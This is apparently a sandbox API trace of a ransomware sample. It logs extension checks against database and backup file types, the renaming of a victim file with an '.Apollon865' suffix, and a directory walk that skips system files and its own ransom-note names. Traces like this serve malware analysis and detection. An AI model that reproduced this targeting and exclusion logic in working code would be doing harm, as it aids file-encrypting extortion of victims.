	[0080.015] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1
	[0080.015] lstrlenW (lpString="mdb") returned 3
	[0080.015] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1
	[0080.015] lstrlenW (lpString="sql") returned 3
	[0080.015] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1
	[0080.015] lstrlenW (lpString="sqlite") returned 6
	[0080.015] lstrcmpiW (lpString1="xz.dat", lpString2="sqlite") returned 1
	[0080.015] lstrlenW (lpString="sqlite3") returned 7
	[0080.015] lstrcmpiW (lpString1="cxz.dat", lpString2="sqlite3") returned -1
	[0080.015] lstrlenW (lpString="sqlitedb") returned 8
	[0080.015] lstrcmpiW (lpString1="mcxz.dat", lpString2="sqlitedb") returned -1
	[0080.015] lstrlenW (lpString="xml") returned 3
	[0080.015] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1
	[0080.015] lstrlenW (lpString="$er") returned 3
	[0080.015] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1
	[0080.015] lstrlenW (lpString="4dd") returned 3
	[0080.015] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1
	[0080.015] lstrlenW (lpString="4dl") returned 3
	[0080.015] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1
	[0080.015] lstrlenW (lpString="^^^") returned 3
	[0080.015] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1
	[0080.015] lstrlenW (lpString="abs") returned 3
	[0080.015] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1
	[0080.015] lstrlenW (lpString="abx") returned 3
	[0080.015] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1
	[0080.015] lstrlenW (lpString="accdb") returned 5
	[0080.015] lstrcmpiW (lpString1="z.dat", lpString2="accdb") returned 1
	[0080.015] lstrlenW (lpString="accdc") returned 5
	[0080.015] lstrcmpiW (lpString1="z.dat", lpString2="accdc") returned 1
	[0080.016] lstrlenW (lpString="accde") returned 5
	[0080.016] lstrcmpiW (lpString1="z.dat", lpString2="accde") returned 1
	[0080.016] lstrlenW (lpString="accdr") returned 5
	[0080.016] lstrcmpiW (lpString1="z.dat", lpString2="accdr") returned 1
	[0080.016] lstrlenW (lpString="accdt") returned 5
	[0080.016] lstrcmpiW (lpString1="z.dat", lpString2="accdt") returned 1
	[0080.016] lstrlenW (lpString="accdw") returned 5
	[0080.016] lstrcmpiW (lpString1="z.dat", lpString2="accdw") returned 1
	[0080.016] lstrlenW (lpString="accft") returned 5
	[0080.016] lstrcmpiW (lpString1="z.dat", lpString2="accft") returned 1
	[0080.016] lstrlenW (lpString="adb") returned 3
	[0080.016] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0080.016] lstrlenW (lpString="adb") returned 3
	[0080.016] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0080.016] lstrlenW (lpString="ade") returned 3
	[0080.016] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1
	[0080.016] lstrlenW (lpString="adf") returned 3
	[0080.016] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1
	[0080.016] lstrlenW (lpString="adn") returned 3
	[0080.016] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1
	[0080.016] lstrlenW (lpString="adp") returned 3
	[0080.016] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1
	[0080.016] lstrlenW (lpString="alf") returned 3
	[0080.016] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1
	[0080.016] lstrlenW (lpString="ask") returned 3
	[0080.016] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1
	[0080.016] lstrlenW (lpString="btr") returned 3
	[0080.016] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1
	[0080.016] lstrlenW (lpString="cat") returned 3
	[0080.016] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1
	[0080.016] lstrlenW (lpString="cdb") returned 3
	[0080.016] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1
	[0080.016] lstrlenW (lpString="ckp") returned 3
	[0080.016] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1
	[0080.016] lstrlenW (lpString="cma") returned 3
	[0080.016] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1
	[0080.016] lstrlenW (lpString="cpd") returned 3
	[0080.017] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1
	[0080.017] lstrlenW (lpString="dacpac") returned 6
	[0080.017] lstrcmpiW (lpString1="xz.dat", lpString2="dacpac") returned 1
	[0080.017] lstrlenW (lpString="dad") returned 3
	[0080.017] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1
	[0080.017] lstrlenW (lpString="dadiagrams") returned 10
	[0080.017] lstrcmpiW (lpString1="LPmcxz.dat", lpString2="dadiagrams") returned 1
	[0080.017] lstrlenW (lpString="daschema") returned 8
	[0080.017] lstrcmpiW (lpString1="mcxz.dat", lpString2="daschema") returned 1
	[0080.017] lstrlenW (lpString="db-journal") returned 10
	[0080.017] lstrcmpiW (lpString1="LPmcxz.dat", lpString2="db-journal") returned 1
	[0080.017] lstrlenW (lpString="db-shm") returned 6
	[0080.017] lstrcmpiW (lpString1="xz.dat", lpString2="db-shm") returned 1
	[0080.017] lstrlenW (lpString="db-wal") returned 6
	[0080.017] lstrcmpiW (lpString1="xz.dat", lpString2="db-wal") returned 1
	[0080.017] lstrlenW (lpString="dbc") returned 3
	[0080.017] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1
	[0080.017] lstrlenW (lpString="dbs") returned 3
	[0080.017] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1
	[0080.017] lstrlenW (lpString="dbt") returned 3
	[0080.017] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1
	[0080.017] lstrlenW (lpString="dbv") returned 3
	[0080.017] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1
	[0080.017] lstrlenW (lpString="dbx") returned 3
	[0080.017] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1
	[0080.017] lstrlenW (lpString="dcb") returned 3
	[0080.017] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1
	[0080.017] lstrlenW (lpString="dct") returned 3
	[0080.017] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1
	[0080.017] lstrlenW (lpString="dcx") returned 3
	[0080.017] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1
	[0080.017] lstrlenW (lpString="ddl") returned 3
	[0080.017] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1
	[0080.017] lstrlenW (lpString="dlis") returned 4
	[0080.017] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1
	[0080.017] lstrlenW (lpString="dp1") returned 3
	[0080.017] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1
	[0080.017] lstrlenW (lpString="dqy") returned 3
	[0080.018] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1
	[0080.018] lstrlenW (lpString="dsk") returned 3
	[0080.018] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1
	[0080.018] lstrlenW (lpString="dsn") returned 3
	[0080.018] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1
	[0080.018] lstrlenW (lpString="dtsx") returned 4
	[0080.018] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1
	[0080.018] lstrlenW (lpString="dxl") returned 3
	[0080.018] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1
	[0080.018] lstrlenW (lpString="eco") returned 3
	[0080.018] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1
	[0080.018] lstrlenW (lpString="ecx") returned 3
	[0080.018] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1
	[0080.018] lstrlenW (lpString="edb") returned 3
	[0080.018] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1
	[0080.018] lstrlenW (lpString="epim") returned 4
	[0080.018] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1
	[0080.018] lstrlenW (lpString="fcd") returned 3
	[0080.018] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1
	[0080.018] lstrlenW (lpString="fdb") returned 3
	[0080.018] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1
	[0080.018] lstrlenW (lpString="fic") returned 3
	[0080.018] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1
	[0080.018] lstrlenW (lpString="flexolibrary") returned 12
	[0080.018] lstrcmpiW (lpString1="HALPmcxz.dat", lpString2="flexolibrary") returned 1
	[0080.018] lstrlenW (lpString="fm5") returned 3
	[0080.018] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1
	[0080.018] lstrlenW (lpString="fmp") returned 3
	[0080.018] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1
	[0080.018] lstrlenW (lpString="fmp12") returned 5
	[0080.018] lstrcmpiW (lpString1="z.dat", lpString2="fmp12") returned 1
	[0080.018] lstrlenW (lpString="fmpsl") returned 5
	[0080.018] lstrcmpiW (lpString1="z.dat", lpString2="fmpsl") returned 1
	[0080.018] lstrlenW (lpString="fol") returned 3
	[0080.018] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1
	[0080.018] lstrlenW (lpString="fp3") returned 3
	[0080.018] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1
	[0080.019] lstrlenW (lpString="fp4") returned 3
	[0080.019] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1
	[0080.019] lstrlenW (lpString="fp5") returned 3
	[0080.019] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1
	[0080.019] lstrlenW (lpString="fp7") returned 3
	[0080.019] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1
	[0080.019] lstrlenW (lpString="fpt") returned 3
	[0080.019] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1
	[0080.019] lstrlenW (lpString="frm") returned 3
	[0080.019] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1
	[0080.019] lstrlenW (lpString="gdb") returned 3
	[0080.019] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0080.019] lstrlenW (lpString="gdb") returned 3
	[0080.019] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0080.019] lstrlenW (lpString="grdb") returned 4
	[0080.019] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1
	[0080.019] lstrlenW (lpString="gwi") returned 3
	[0080.019] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1
	[0080.019] lstrlenW (lpString="hdb") returned 3
	[0080.019] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1
	[0080.019] lstrlenW (lpString="his") returned 3
	[0080.019] lstrcmpiW (lpString1="dat", lpString2="his") returned -1
	[0080.019] lstrlenW (lpString="ib") returned 2
	[0080.019] lstrcmpiW (lpString1="at", lpString2="ib") returned -1
	[0080.019] lstrlenW (lpString="idb") returned 3
	[0080.019] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1
	[0080.019] lstrlenW (lpString="ihx") returned 3
	[0080.019] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1
	[0080.019] lstrlenW (lpString="itdb") returned 4
	[0080.019] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1
	[0080.019] lstrlenW (lpString="itw") returned 3
	[0080.019] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1
	[0080.019] lstrlenW (lpString="jet") returned 3
	[0080.019] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1
	[0080.019] lstrlenW (lpString="jtx") returned 3
	[0080.019] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1
	[0080.019] lstrlenW (lpString="kdb") returned 3
	[0080.019] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1
	[0080.020] lstrlenW (lpString="kexi") returned 4
	[0080.020] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1
	[0080.020] lstrlenW (lpString="kexic") returned 5
	[0080.020] lstrcmpiW (lpString1="z.dat", lpString2="kexic") returned 1
	[0080.020] lstrlenW (lpString="kexis") returned 5
	[0080.020] lstrcmpiW (lpString1="z.dat", lpString2="kexis") returned 1
	[0080.020] lstrlenW (lpString="lgc") returned 3
	[0080.020] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1
	[0080.020] lstrlenW (lpString="lwx") returned 3
	[0080.020] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1
	[0080.020] lstrlenW (lpString="maf") returned 3
	[0080.020] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1
	[0080.020] lstrlenW (lpString="maq") returned 3
	[0080.020] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1
	[0080.020] lstrlenW (lpString="mar") returned 3
	[0080.020] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1
	[0080.020] lstrlenW (lpString="marshal") returned 7
	[0080.021] lstrcmpiW (lpString1="cxz.dat", lpString2="marshal") returned -1
	[0080.021] lstrlenW (lpString="mas") returned 3
	[0080.021] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1
	[0080.021] lstrlenW (lpString="mav") returned 3
	[0080.021] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1
	[0080.021] lstrlenW (lpString="maw") returned 3
	[0080.021] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1
	[0080.021] lstrlenW (lpString="mdbhtml") returned 7
	[0080.021] lstrcmpiW (lpString1="cxz.dat", lpString2="mdbhtml") returned -1
	[0080.022] lstrlenW (lpString="mdn") returned 3
	[0080.022] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1
	[0080.022] lstrlenW (lpString="mdt") returned 3
	[0080.022] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1
	[0080.022] lstrlenW (lpString="mfd") returned 3
	[0080.022] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1
	[0080.022] lstrlenW (lpString="mpd") returned 3
	[0080.022] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1
	[0080.022] lstrlenW (lpString="mrg") returned 3
	[0080.022] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1
	[0080.022] lstrlenW (lpString="mud") returned 3
	[0080.022] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1
	[0080.022] lstrlenW (lpString="mwb") returned 3
	[0080.022] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1
	[0080.022] lstrlenW (lpString="myd") returned 3
	[0080.022] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1
	[0080.022] lstrlenW (lpString="ndf") returned 3
	[0080.022] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1
	[0080.022] lstrlenW (lpString="nnt") returned 3
	[0080.022] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1
	[0080.022] lstrlenW (lpString="nrmlib") returned 6
	[0080.022] lstrcmpiW (lpString1="xz.dat", lpString2="nrmlib") returned 1
	[0080.022] lstrlenW (lpString="ns2") returned 3
	[0080.022] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1
	[0080.022] lstrlenW (lpString="ns3") returned 3
	[0080.022] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1
	[0080.022] lstrlenW (lpString="ns4") returned 3
	[0080.022] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1
	[0080.022] lstrlenW (lpString="nsf") returned 3
	[0080.022] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1
	[0080.022] lstrlenW (lpString="nv") returned 2
	[0080.022] lstrcmpiW (lpString1="at", lpString2="nv") returned -1
	[0080.022] lstrlenW (lpString="nv2") returned 3
	[0080.022] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1
	[0080.022] lstrlenW (lpString="nwdb") returned 4
	[0080.022] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1
	[0080.022] lstrlenW (lpString="nyf") returned 3
	[0080.023] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1
	[0080.023] lstrlenW (lpString="odb") returned 3
	[0080.023] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0080.023] lstrlenW (lpString="odb") returned 3
	[0080.023] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0080.023] lstrlenW (lpString="oqy") returned 3
	[0080.023] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1
	[0080.023] lstrlenW (lpString="ora") returned 3
	[0080.023] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1
	[0080.023] lstrlenW (lpString="orx") returned 3
	[0080.023] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1
	[0080.023] lstrlenW (lpString="owc") returned 3
	[0080.023] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1
	[0080.023] lstrlenW (lpString="p96") returned 3
	[0080.023] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1
	[0080.023] lstrlenW (lpString="p97") returned 3
	[0080.023] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1
	[0080.023] lstrlenW (lpString="pan") returned 3
	[0080.023] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1
	[0080.023] lstrlenW (lpString="pdb") returned 3
	[0080.023] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1
	[0080.023] lstrlenW (lpString="pdm") returned 3
	[0080.023] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1
	[0080.023] lstrlenW (lpString="pnz") returned 3
	[0080.023] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1
	[0080.023] lstrlenW (lpString="qry") returned 3
	[0080.023] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1
	[0080.023] lstrlenW (lpString="qvd") returned 3
	[0080.023] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1
	[0080.023] lstrlenW (lpString="rbf") returned 3
	[0080.023] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1
	[0080.023] lstrlenW (lpString="rctd") returned 4
	[0080.023] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1
	[0080.023] lstrlenW (lpString="rod") returned 3
	[0080.023] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1
	[0080.023] lstrlenW (lpString="rodx") returned 4
	[0080.023] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1
	[0080.024] lstrlenW (lpString="rpd") returned 3
	[0080.024] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1
	[0080.024] lstrlenW (lpString="rsd") returned 3
	[0080.024] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1
	[0080.024] lstrlenW (lpString="sas7bdat") returned 8
	[0080.024] lstrcmpiW (lpString1="mcxz.dat", lpString2="sas7bdat") returned -1
	[0080.024] lstrlenW (lpString="sbf") returned 3
	[0080.024] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1
	[0080.024] lstrlenW (lpString="scx") returned 3
	[0080.024] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1
	[0080.024] lstrlenW (lpString="sdb") returned 3
	[0080.024] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1
	[0080.024] lstrlenW (lpString="sdc") returned 3
	[0080.024] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1
	[0080.024] lstrlenW (lpString="sdf") returned 3
	[0080.024] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1
	[0080.024] lstrlenW (lpString="sis") returned 3
	[0080.024] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1
	[0080.024] lstrlenW (lpString="spq") returned 3
	[0080.024] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1
	[0080.024] lstrlenW (lpString="te") returned 2
	[0080.024] lstrcmpiW (lpString1="at", lpString2="te") returned -1
	[0080.024] lstrlenW (lpString="teacher") returned 7
	[0080.024] lstrcmpiW (lpString1="cxz.dat", lpString2="teacher") returned -1
	[0080.024] lstrlenW (lpString="tmd") returned 3
	[0080.024] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1
	[0080.024] lstrlenW (lpString="tps") returned 3
	[0080.024] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1
	[0080.024] lstrlenW (lpString="trc") returned 3
	[0080.024] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0080.024] lstrlenW (lpString="trc") returned 3
	[0080.024] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0080.024] lstrlenW (lpString="trm") returned 3
	[0080.024] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1
	[0080.024] lstrlenW (lpString="udb") returned 3
	[0080.024] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1
	[0080.024] lstrlenW (lpString="udl") returned 3
	[0080.025] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1
	[0080.025] lstrlenW (lpString="usr") returned 3
	[0080.025] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1
	[0080.025] lstrlenW (lpString="v12") returned 3
	[0080.025] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1
	[0080.025] lstrlenW (lpString="vis") returned 3
	[0080.025] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1
	[0080.025] lstrlenW (lpString="vpd") returned 3
	[0080.025] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1
	[0080.025] lstrlenW (lpString="vvv") returned 3
	[0080.025] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1
	[0080.025] lstrlenW (lpString="wdb") returned 3
	[0080.025] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1
	[0080.025] lstrlenW (lpString="wmdb") returned 4
	[0080.025] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1
	[0080.025] lstrlenW (lpString="wrk") returned 3
	[0080.025] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1
	[0080.025] lstrlenW (lpString="xdb") returned 3
	[0080.025] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1
	[0080.025] lstrlenW (lpString="xld") returned 3
	[0080.025] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1
	[0080.025] lstrlenW (lpString="xmlff") returned 5
	[0080.025] lstrcmpiW (lpString1="z.dat", lpString2="xmlff") returned 1
	[0080.025] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat.Apollon865") returned 86
	[0080.025] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat.apollon865"), dwFlags=0x1) returned 1
	[0080.027] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\5p5nrgjn0js halpmcxz.dat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0080.027] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=0) returned 1
	[0080.027] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.027] CloseHandle (hObject=0x0) returned 0
	[0080.028] CloseHandle (hObject=0x9c) returned 1
	[0080.028] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f932690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f932690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default Pictures", cAlternateFileName="DEFAUL~1")) returned 1
	[0080.028] lstrcmpiW (lpString1="Default Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.028] lstrcmpiW (lpString1="Default Pictures", lpString2="Apollon865.txt.exe") returned 1
	[0080.028] lstrcmpiW (lpString1="Default Pictures", lpString2=".") returned 1
	[0080.028] lstrcmpiW (lpString1="Default Pictures", lpString2="..") returned 1
	[0080.028] lstrcmpiW (lpString1="Default Pictures", lpString2="windows") returned -1
	[0080.028] lstrcmpiW (lpString1="Default Pictures", lpString2="bootmgr") returned 1
	[0080.028] lstrcmpiW (lpString1="Default Pictures", lpString2="temp") returned -1
	[0080.028] lstrcmpiW (lpString1="Default Pictures", lpString2="pagefile.sys") returned -1
	[0080.028] lstrcmpiW (lpString1="Default Pictures", lpString2="boot") returned 1
	[0080.028] lstrcmpiW (lpString1="Default Pictures", lpString2="ids.txt") returned -1
	[0080.028] lstrcmpiW (lpString1="Default Pictures", lpString2="ntuser.dat") returned -1
	[0080.028] lstrcmpiW (lpString1="Default Pictures", lpString2="perflogs") returned -1
	[0080.028] lstrcmpiW (lpString1="Default Pictures", lpString2="MSBuild") returned -1
	[0080.028] lstrlenW (lpString="Default Pictures") returned 16
	[0080.028] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat") returned 75
	[0080.028] lstrcpyW (in: lpString1=0x119e66e, lpString2="Default Pictures" | out: lpString1="Default Pictures") returned="Default Pictures"
	[0080.028] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0080.028] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8f28
	[0080.028] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b50 | out: ListHead=0x5b75f0, ListEntry=0x5b7b50) returned 0x5b7c90
	[0080.028] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1
	[0080.028] lstrcmpiW (lpString1="guest.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.028] lstrcmpiW (lpString1="guest.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.028] lstrcmpiW (lpString1="guest.bmp", lpString2=".") returned 1
	[0080.028] lstrcmpiW (lpString1="guest.bmp", lpString2="..") returned 1
	[0080.028] lstrcmpiW (lpString1="guest.bmp", lpString2="windows") returned -1
	[0080.028] lstrcmpiW (lpString1="guest.bmp", lpString2="bootmgr") returned 1
	[0080.028] lstrcmpiW (lpString1="guest.bmp", lpString2="temp") returned -1
	[0080.028] lstrcmpiW (lpString1="guest.bmp", lpString2="pagefile.sys") returned -1
	[0080.028] lstrcmpiW (lpString1="guest.bmp", lpString2="boot") returned 1
	[0080.028] lstrcmpiW (lpString1="guest.bmp", lpString2="ids.txt") returned -1
	[0080.029] lstrcmpiW (lpString1="guest.bmp", lpString2="ntuser.dat") returned -1
	[0080.029] lstrcmpiW (lpString1="guest.bmp", lpString2="perflogs") returned -1
	[0080.029] lstrcmpiW (lpString1="guest.bmp", lpString2="MSBuild") returned -1
	[0080.029] lstrlenW (lpString="guest.bmp") returned 9
	[0080.029] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned 67
	[0080.029] lstrcpyW (in: lpString1=0x119e66e, lpString2="guest.bmp" | out: lpString1="guest.bmp") returned="guest.bmp"
	[0080.029] lstrlenW (lpString="guest.bmp") returned 9
	[0080.029] lstrlenW (lpString="Apollon865") returned 10
	[0080.029] lstrlenW (lpString=".dll") returned 4
	[0080.029] lstrcmpiW (lpString1="guest.bmp", lpString2=".dll") returned 1
	[0080.029] lstrlenW (lpString=".lnk") returned 4
	[0080.029] lstrcmpiW (lpString1="guest.bmp", lpString2=".lnk") returned 1
	[0080.029] lstrlenW (lpString=".ini") returned 4
	[0080.029] lstrcmpiW (lpString1="guest.bmp", lpString2=".ini") returned 1
	[0080.029] lstrlenW (lpString=".sys") returned 4
	[0080.029] lstrcmpiW (lpString1="guest.bmp", lpString2=".sys") returned 1
	[0080.029] lstrlenW (lpString="guest.bmp") returned 9
	[0080.029] lstrlenW (lpString="bak") returned 3
	[0080.029] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1
	[0080.029] lstrlenW (lpString="ba_") returned 3
	[0080.029] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1
	[0080.029] lstrlenW (lpString="dbb") returned 3
	[0080.029] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1
	[0080.029] lstrlenW (lpString="vmdk") returned 4
	[0080.029] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1
	[0080.029] lstrlenW (lpString="rar") returned 3
	[0080.029] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1
	[0080.029] lstrlenW (lpString="zip") returned 3
	[0080.029] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1
	[0080.029] lstrlenW (lpString="tgz") returned 3
	[0080.029] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1
	[0080.030] lstrlenW (lpString="vbox") returned 4
